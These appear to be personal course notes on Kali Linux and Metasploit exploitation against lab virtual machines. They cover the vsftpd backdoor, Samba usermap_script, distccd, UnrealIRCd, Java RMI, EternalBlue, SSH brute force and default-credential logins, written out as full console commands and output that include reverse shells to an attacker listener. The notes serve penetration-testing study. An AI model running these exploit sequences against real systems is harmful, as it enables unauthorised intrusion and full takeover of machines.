4 – Kali Linux – Exploitation and Gaining Access

path to metasplot framework: cd /usr/share/metasploit-framework/

7 Modules metasploit framework contains:

exploits (buffer overflow, code injection, web application)
auxiliary (does not execute a payload as an explot module does, but istead it is used to perform different actions such as scanning, fuzzing or denial of service attack. Information gateringand, fingerprinting, scanning )
post (used as the name, after exploiting the target, gather or steal information from target device: files, saved passwords, dumping hashes, enummerationg services and applications on the target)
payloads (deliver to the target with and exploit in order to control the machine: singles are payloads that are completly stand alone | stagers are estting up a network connection between the attacker and the victim, are small and reliable (bind or reverse (almost all the time we will use reverse tcp) ) | stages are payload components that are downloaded by stagers modules, can provide advanced features with no size limit example: meterpreters shells (mallware, trojan or virus) that can download files, upload files, record microphone, run webcam, take screenshots, etc)
encoders (helps evade antivirus detection)
evasion (similat ro encoders, mainly designed to evade windows defender)
nops (no-operation is an instruction for the processor to do nothing, useful in buffer overflow to allocate a lot of space in memory before the payload executes)

msfconsole and msfvenom

To run metasplot framework simply run msfconsole in the terminal

use show payloads command to list all the payloads

to use a certain exploit use the command: use followed by the name of the module, example: msf6 > use payload/windows/x64/shell/bind_tcp_rc4
use show info to get more details about what the particular module exploit can do
use show options to understand what the module needs to function
use set <parameter name> example LHOST to change the default already configured IP address
using show payloads again will now not list again all the payloads but rather just the ones that are compatible with the ceratl selected explot
use set payload <payload name> t change the default selected payload with another one you have chosen
use show targets to get a full list of targets that we can exploit using this attack
use set target 3 to select the 3rd option listed by running the command above
use exploit to enable/run the exploit

Example 1 – vsftpd 2.3.4

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run $ sudo nmap -sV 192.168.222.127 to discover the software version running on an open port (default intensity is 7)
let’s choose the FTP port: 21/tcp open ftp vsftpd 2.3.4
the goal is to find an explot if this software is vulnerable
as an initial action, before google-ing for possible exploits, you can use metasploit framework
on terminal2: run $ searchsploit vsftpd 2.3.4
on terminal3: run msfconsole and then type: msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.222.127
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show targets

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.222.127:21 – Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.222.127:21 – USER: 331 Please specify the password.
[+] 192.168.222.127:21 – Backdoor service has been spawned, handling…
[+] 192.168.222.127:21 – UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.222.127:6200) at 2021-08-18 17:39:36 -0400

whoami
root
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:e1:70:b1
inet addr:192.168.222.127 Bcast:192.168.222.2 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fee1:70b1/64 Scope:Link

to exit a shell just type: exit

exit
[*] 192.168.222.127 – Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Example 2 – Misconfiguration bindshell

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run $ sudo nmap -sV 192.168.222.127 to discover the software version running on an open port (default intensity is 7)
let’s choose the 1524/tcp open bindshell Metasploitable root shell
on terminal2 let’s use a tool called: netcat (a program used to extablish network connections with other machines using both tcp and udp)
to check the help menu run: (mrhacker㉿kali)-[~/Desktop] nc -h
[v1.10-46]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
to use it run:

┌──(mrhacker㉿kali)-[~/Desktop]
└─$ nc 192.168.222.127 1524
[email protected]:/#

Example 3- telnet

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run $ sudo nmap -sV 192.168.222.127 to discover the software version running on an open port (default intensity is 7)
let’s choose the 23/tcp open telnet Linux telnetd
on terminal2: run $ searchsploit Linux telnetd | no real helpful results found
let’s try the default login and username: telnet 192.168.222.127

┌──(mrhacker㉿kali)-[~]
└─$ telnet 192.168.222.127
Trying 192.168.222.127…
Connected to 192.168.222.127.
Escape character is ‘^]’.
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __/ _` | ‘_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Wed Aug 18 17:19:18 EDT 2021 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
[email protected]:~$ whoami
msfadmin
[email protected]:~$ sudo su
[sudo] password for msfadmin:
[email protected]:/home/msfadmin# whoami
root
[email protected]:/home/msfadmin#

Example 4- Samba

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run $ sudo nmap -sV 192.168.222.127 to discover the software version running on an open port (default intensity is 7)
let’s choose the 139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
and this one: 445/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
on terminal2: run $ searchsploit Samba | too many results, we need to narrow it down
on terminal3: run $ msfconsole | and then run: msf6 > search samba | some results, but not the ones that we are looking for
let’s then try: msf6 > use auxiliary/scanner/smb/ and try this module: 12 auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show info
msf6 auxiliary(scanner/smb/smb_version) > show options
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.222.127
msf6 auxiliary(scanner/smb/smb_version) > exploit
valuable output identified: [*] 192.168.222.127:445 – Host could not be identified: Unix (Samba 3.0.20-Debian)
on terminal2: run $ searchsploit Samba 3.0.20 | excluding all the txt files and the py files we are left with only one valid option: Samba 3.0.20 < 3.0.25rc3 – ‘Username’ map script’ Command Execution (Metasploit) – unix/remote/16320.rb
on terminal2: run $ search Samba | now we know that we are interested in: 8 exploit/multi/samba/usermap_script
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > show info
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.222.127
RHOSTS => 192.168.222.127
msf6 exploit(multi/samba/usermap_script) > run[*] Started reverse TCP handler on 192.168.222.59:4444
[*] Command shell session 1 opened (192.168.222.59:4444 -> 192.168.222.127:34804) at 2021-08-19 05:29:39 -0400whoami
root

Example 5- Buteforce SSH Attack

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run $ sudo nmap -sV 192.168.222.127 to discover the software version running on an open port (default intensity is 7)
let’s choose this one again: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
on terminal2: msf6 > search ssh | out of the long list let’s select this one: 45 auxiliary/scanner/ssh/ssh_login
msf6 > use auxiliary/scanner/ssh/ssh_login
on terminal3: /home/mrhacker/Desktop/ nano usernames.txt | type inside a few possile usernames but also containing the corect one: admin, root, toor, user123, msfadmin, admin123 | one per line
on terminal3: /home/mrhacker/Desktop/ nano passwords.txt | type inside a few possile usernames but also containing the corect one: password, password123, helloworld, msfadmin, test1234 | one per line
on terminal2: msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/mrhacker/Desktop/passwords.txt
PASS_FILE => /home/mrhacker/Desktop/passwords.txt
on terminal2: msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/mrhacker/Desktop/usernames.txt
USER_FILE => /home/mrhacker/Desktop/usernames.txt
on terminal2: msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.222.127
RHOSTS => 192.168.222.127
on terminal2: msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[+] 192.168.222.127:22 – Success: ‘msfadmin:msfadmin’ ‘uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘
[*] Command shell session 1 opened (192.168.222.59:33103 -> 192.168.222.127:22) at 2021-08-19 06:29:09 -0400
[-] 192.168.222.127:22 – Failed: ‘admin123:password’
msf6 auxiliary(scanner/ssh/ssh_login) > sessions
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1…whoami
msfadmin
sudo su
[sudo] password for msfadmin: msfadminwhoami
root
as we now have the username and passowrd we could ssh into the machine using the discuvered username and password: msfadmin/msfadmin
┌──(mrhacker㉿kali)-[~]
└─$ ssh [email protected]
[email protected]’s password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

Example 6 – distccd

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run sudo nmap -sV 192.168.222.127 -p- to discover the software version running on an open port on all 65536 available ports
let’s try this one: 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
on terminal2: msfconsole and the run: msf6 > search distc | only one record found: exploit/unix/misc/distcc_exec
msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > show options
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.222.127 (remote host)
msf6 exploit(unix/misc/distcc_exec) > show payloads
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.222.59 (listenig host)
LHOST => 192.168.222.59
msf6 exploit(unix/misc/distcc_exec) > exploit[*] Started reverse TCP double handler on 192.168.222.59:4444
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo 9JUz23ZkTBY4MuQx;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “9JUz23ZkTBY4MuQx\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.222.59:4444 -> 192.168.222.127:50819) at 2021-08-19 10:37:49 -0400whoami
daemon
hostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Example 7 – distccd

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run sudo nmap -sV 192.168.222.127 -p- to discover the software version running on an open port on all 65536 available ports
let’s try these ones: 6667/tcp open irc UnrealIRCd | 6697/tcp open irc UnrealIRCd
on terminal2: (mrhacker㉿kali)-[~/Desktop] $ searchsploit irc | too many findings
on terminal2: (mrhacker㉿kali)-[~/Desktop] $ searchsploit UnrealIRCd | just 4 findings, and only one Ruby: UnrealIRCd 3.2.8.1 – Backdoor Command Execution (Metasploit) linux/remote/16922.rb
on terminal3: msfconsole and the run: msf6 > search UnrealIRCd
msf6 > use 0
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.222.127
RHOSTS => 192.168.222.127
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show info
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.222.59 netmask 255.255.255.0 broadcast 192.168.222.255
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.222.59
LHOST => 192.168.222.59
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit[*] Started reverse TCP double handler on 192.168.222.59:4444
[*] 192.168.222.127:6667 – Connected to 192.168.222.127:6667…
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname…
[*] 192.168.222.127:6667 – Sending backdoor command…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo FtAIdHWFZQ9qDwWD;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “FtAIdHWFZQ9qDwWD\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.222.59:4444 -> 192.168.222.127:44450) at 2021-08-19 10:52:15 -0400whoami
roothostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Example 8 – drb

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run sudo nmap -sV 192.168.222.127 -p- to discover the software version running on an open port on all 65536 available ports
let’s try this one : 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
on terminal2: (mrhacker㉿kali)-[~/Desktop] $ searchsploit drb | too many findings
on terminal3: msfconsole and the run: msf6 > search drb
msf6 > use exploit/linux/misc/drb_remote_codeexec
(this ruby file was removed from kali-linux-2021.2 | still available in kali-linux-2020.2)

Example 9 – vnc

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run sudo nmap -sV 192.168.222.127 -p- to discover the software version running on an open port on all 65536 available ports
let’s try this one : 5900/tcp open vnc VNC (protocol 3.3)
on terminal2: (mrhacker㉿kali)-[~/Desktop] $ searchsploit vnc | too many findings
on terminal3: msfconsole and the run: msf6 > search vnc
this one looks interesting: exploit/multi/vnc/vnc_keyboard_exec | but the payload is one for Windows and it will not work
let’s try to connect to VNC on the target machine:
(mrhacker㉿kali)-[~/Desktop] $ vncviewer 192.168.222.127
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password: password | the password was password
Authentication successful

Example 10- java-rmi

check the IP address of the Metasploitable virtual machine ifconfig: 192.168.222.127
on terminal1: run sudo nmap -sV 192.168.222.127 -p- to discover the software version running on an open port on all 65536 available ports
let’s try this one : 1099/tcp open java-rmi GNU Classpath grmiregistry
on terminal2: msfconsole and the run: msf6 > search java rmi
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.222.127
msf6 exploit(multi/misc/java_rmi_server) > run
msf6 exploit(multi/misc/java_rmi_server) > show sessions
msf6 exploit(multi/misc/java_rmi_server) > sessions -i 1
meterpreter > help
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root

Example 11 – Windows 7 x64 – Eternalblue NSA-developed Explot

check the IP address of the Windows 7 x64 virtual machine ipconfig: 192.168.222.205
on terminal1: run sudo nmap -sS 192.168.222.205
let’s try these ones: 139/tcp open netbios-ssn and 445/tcp open microsoft-ds
on terminal2: msfconsole and then run msf6 > search eternalblue
let’s use this one to test if the target is vulnerable: “auxiliary/scanner/smb/smb_ms17_010”
msf6 > use 4
msf6 auxiliary(scanner/smb/smb_ms17_010) > show info
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.222.205RHOSTS => 192.168.222.205
msf6 auxiliary(scanner/smb/smb_ms17_010) >[+] 192.168.222.205:445 – Host is likely VULNERABLE to MS17-010! – Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.222.205:445 – Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >
on terminal2: msfconsole and then run msf6 > search eternalblue
let’s use this one to test if the target is vulnerable: “exploit/windows/smb/ms17_010_eternalblue”
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > show info
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.222.205
RHOSTS => 192.168.222.205
msf6 exploit(windows/smb/ms17_010_eternalblue) > run[*] Started reverse TCP handler on 192.168.222.59:4444
[*] 192.168.222.205:445 – Executing automatic check (disable AutoCheck to override)
[*] 192.168.222.205:445 – Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.222.205:445 – Host is likely VULNERABLE to MS17-010! – Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.222.205:445 – Scanned 1 of 1 hosts (100% complete)
[+] 192.168.222.205:445 – The target is vulnerable.
[*] 192.168.222.205:445 – Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.222.205:445 – Host is likely VULNERABLE to MS17-010! – Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.222.205:445 – Scanned 1 of 1 hosts (100% complete)
[*] 192.168.222.205:445 – Connecting to target for exploitation.
[+] 192.168.222.205:445 – Connection established for exploitation.
[+] 192.168.222.205:445 – Target OS selected valid for OS indicated by SMB reply
[*] 192.168.222.205:445 – CORE raw buffer dump (38 bytes)
[*] 192.168.222.205:445 – 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.222.205:445 – 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.222.205:445 – 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.222.205:445 – Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.222.205:445 – Trying exploit with 12 Groom Allocations.
[*] 192.168.222.205:445 – Sending all but last fragment of exploit packet
[*] 192.168.222.205:445 – Starting non-paged pool grooming
[+] 192.168.222.205:445 – Sending SMBv2 buffers
[+] 192.168.222.205:445 – Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.222.205:445 – Sending final SMBv2 buffers.
[*] 192.168.222.205:445 – Sending last fragment of exploit packet!
[*] 192.168.222.205:445 – Receiving response from exploit packet
[+] 192.168.222.205:445 – ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.222.205:445 – Sending egg to corrupted connection.
[*] 192.168.222.205:445 – Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.222.205
[+] 192.168.222.205:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.222.205:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.222.205:445 – =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.222.59:4444 -> 192.168.222.205:49166) at 2021-08-19 12:33:18 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > help

meterpreter > screenshot
Screenshot saved to: /home/mrhacker/Desktop/OvtUHTeu.jpeg
meterpreter >

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